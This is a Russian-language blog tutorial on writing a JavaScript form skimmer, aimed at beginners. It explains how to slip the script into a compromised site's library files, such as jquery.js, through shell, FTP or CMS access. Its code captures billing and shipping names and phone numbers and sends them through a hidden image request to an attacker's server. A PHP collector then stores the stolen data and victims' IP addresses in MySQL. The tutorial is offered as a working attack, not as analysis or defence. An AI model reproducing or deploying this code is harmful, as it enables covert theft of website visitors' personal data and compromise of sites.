Javascript Снифер

Пишем снифер формы для самых маленьких

Пишем снифер формы для самых маленьких

Предположим, ты заинтересовался, как прочесть информацию из форм передавамых на каком то сайте, но ты не понимаешь ничего в js или программировании?
Не переживай и читай основы! А дальше и сам разберешься.

Здесь я опишу как быстро и самостоятельно написать код который собирает и отправляет инфу, вы не увидите здесь антидетектов или оптимальных решений, это пожалуй самое простое, не самое лучшее, но главное рабочее решение.

Необходимо иметь доступ, который позволит подключить JS скрипт к странице, если у тебя есть шелл или фтп доступ, попробуй добавить js код в один из существующих файлов ( который присутствует на странице с которой собираешься собирать информацию, для этого нажми правой кнопкой мыши на страницу и выберите просмотр кода страницы, после чего поищи строки в виде <script src=”/js/jquery.js”>, сам путь к файлу как мог догадаться /js/jquery.js, советую выбирать файлы которые содержат библиотеки кода, тот же jquery к примеру, так как их в повседневной работе не редактируют).
Если доступ только к админ части, попробуй погуглить, возможно есть способ залить шелл или добавить html-код к странице, в популярных cms это сделать можно! (если необходимо добавить html код к странице весь приведенный js-код необходимо будет вставить между <script>js code</script>)
Следующий шаг это определение полей ввода которые нас интересует. Открой страницу, и на поле ввода нажмите правой кнопкой мыши и выберите исследование элемента, перед вами откроется консоль разработчика где увидишь html-код этого поля, он должен быть автоматически выделен у тебя и иметь подобный вид:

<input type="text" name="first_name" class="inp-fname" id="billing_first_name" onclick="valid(this)">

В этом примере мы видим следующие параметры: type,name,class,id,onclick, в частых ситуациях нас интересует лишь один из трёх: name,class,id, остальные можно не учитывать для нашей задачи.

Ты должен выбрать именно тот параметр который имеет уникальное значение в отношении других элементов, если есть параметр id выбирайте его, он должен быть уникальным для всей страницы.
В зависимости от выбранного параметра ты будешь использовать одну из следующих функций, как их использовать опишу ниже.

name = getElementsByName
class = getElementsByClassName
id = getElementById

Теперь перепиши таким образом для каждого поля которое тебя интересует, должно выйти следующим образом:

function spy_func(){
    try{
        document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
    }
    catch(e){}
}

Если тебе необходимо добавить сбор данных с полей которые находятся на другой странице (к примеру часть данных вводится на одной форме и после отправки ты попадаешь на следующую страницу где продолжишь вводить данные), ты должн добавить новый блок try{}catch(e){}, он нужен для того чтобы когда браузер не найдет запрашиваемые поля скрипт не создавал ошибок, сделать это просто, пример:

function spy_func(){
    try{
        document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
    }
    catch(e){}
try{
        document.getElementById("shipping_first_name").setAttribute("onchange","spy_send()");
	document.getElementById("shipping_last_name").setAttribute("onchange","spy_send()");
	document.getElementById("shipping_phone").setAttribute("onchange","spy_send()");
    }
    catch(e){}
}

Осталось написать часть которая собирает данные и отправляет их.


	var data_str="";
  	try{
    	data_str += "billing_f_name="+ document.getElementById("billing_first_name").value.toString() + "&"; //Не забывай использовать конкретную функцию для параметра который используете
      	data_str += "billing_l_name="+ document.getElementById("billing_last_name").value.toString() + "&";
      	data_str += "billing_phone="+ document.getElementById("billing_phone").value.toString() + "&";
    }
  	catch(e){}
  	//Так же для каждой страницы свой блок try{}catch(e){}
  	try{
    	data_str += "shipping_f_name="+ document.getElementById("shipping_first_name").value.toString() + "&"; //Не забывайте использовать конкретную функцию для параметра который используешь
      	data_str += "shipping_l_name="+ document.getElementById("shipping_last_name").value.toString() + "&";
      	data_str += "shipping_phone="+ document.getElementById("shipping_phone").value.toString() + "&";
    }
  	catch(e){}
  	//здесь мы имеем уже сформированную строку с данными data_str и запрашиваем с нашего сервера domain.com наш скрипт ( можешь использовать другой известный вам способ отправки данных)
  	try{
       var img = document.createElement("img");
      img.src ="https://domain.com/script.php?"+data_str;
      img.style="display:none";
      var src = document.getElementsByTagName("body")[0];

Завершающим этапом (за который меня закидают тапками) будет добавление последней строки в наш js-код

window.setInterval(spy_func, 1000);

Эта строка поможет нам отследить когда появиться поле ввода.

На этом снифер завершен и мы можем его объединить ( очередность блоков не важна).

Так же важно помнить что отправка данных с страницы которая использует https:// должна идти так же на https://

Осталось написать серверную часть:

Все данные мы будем писать в базу данных mysql, она есть практически на каждом хостинге

Нам необходимо зайти в базу данных, можете использовать для этого adminer или phpMyAdmin и создать таблицу куда всё это будет писаться.
Назовём её info_table и создадим в ней следующие колонки

id (необходимо поставить галочку AUTO INCREMENT)
billing_f_name
billing_l_name
billing_phone
shipping_f_name
shipping_l_name
shipping_phone
ip

сделай все поля кроме id формата string. Как работать с базой расписывать не буду, много материала в сети.

Мы создали таблицу в которой есть собственная колонка для каждого поля ввода, дальше я напишу php script на который снифер отправляет запрос, он должен работать универсально, вам необходимо будет внести лишь несколько изменений:

<?php
header("Access-Control-Allow-Origin: *");
$db_config=Array( //впишите данные доступа к базе данных
  "host"=>"localhost",
  "user"=>"root",
  "pass"=>"qwerty",
  "db_name"=>"my_database",
  "tbl_name"=>"info_table",
);
$sniff_inputs = Array(//пропишите название полей из снифера (сравните с примером)
    "billing_f_name", "billing_l_name","billing_phone", "shipping_f_name","shipping_l_name","shipping_phone"
);
//end
$db= new mysqli($db_config["host"],$db_config["user"],$db_config["pass"],$db_config["db_name"]);
$ip = $db->real_escape_string($_SERVER["REMOTE_ADDR"]);
$data = $_REQUEST;
foreach($data as $key=>$value){
  $data[$key]=$db->real_escape_string($value);
}
$updated_data = Array();
foreach($sniff_inputs as $input){
  if(!empty($data[$input]))
    $updated_data[$input] = $data[$input];
}

$find_id = $db->query("select id from {$db_config["tbl_name"]} where ip='{$ip}'");
$find_id = $find_id->fetch_assoc();
if(empty($find_id)){
  $sql = "insert into {$db_config["tbl_name"]} (";
  $part_key="";
  $part_value="";
  foreach($updated_data as $key=>$value){
    if(!empty($part_key)){
      $part_key.=",";
      $part_value.=",";
    }
    $part_key.="`{$key}`";
    $part_value.="'{$value}'";
  }
  $sql .= "{$part_key}, ip) values ({$part_value}, '{$ip}')";
}
else{
  $id=$find_id["id"];
  $sql = "update {$db_config["tbl_name"]} set ";
  $part= "";
  foreach($updated_data as $key=>$value){
    if(!empty($part)) $part.=",";
    $part .="`{$key}`='$value'";
  }
  $sql .= "{$part} where id={$id}";
}
$db->query($sql);

Теперь записи должны появиться у вас в базе данных.

Вуаля, мы только что написали простейший снифер. Как видишь, это не так сложно! Всю остальную инфу ты легко можешь найти в интернете.

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Leave a Reply

Your email address will not be published. Required fields are marked *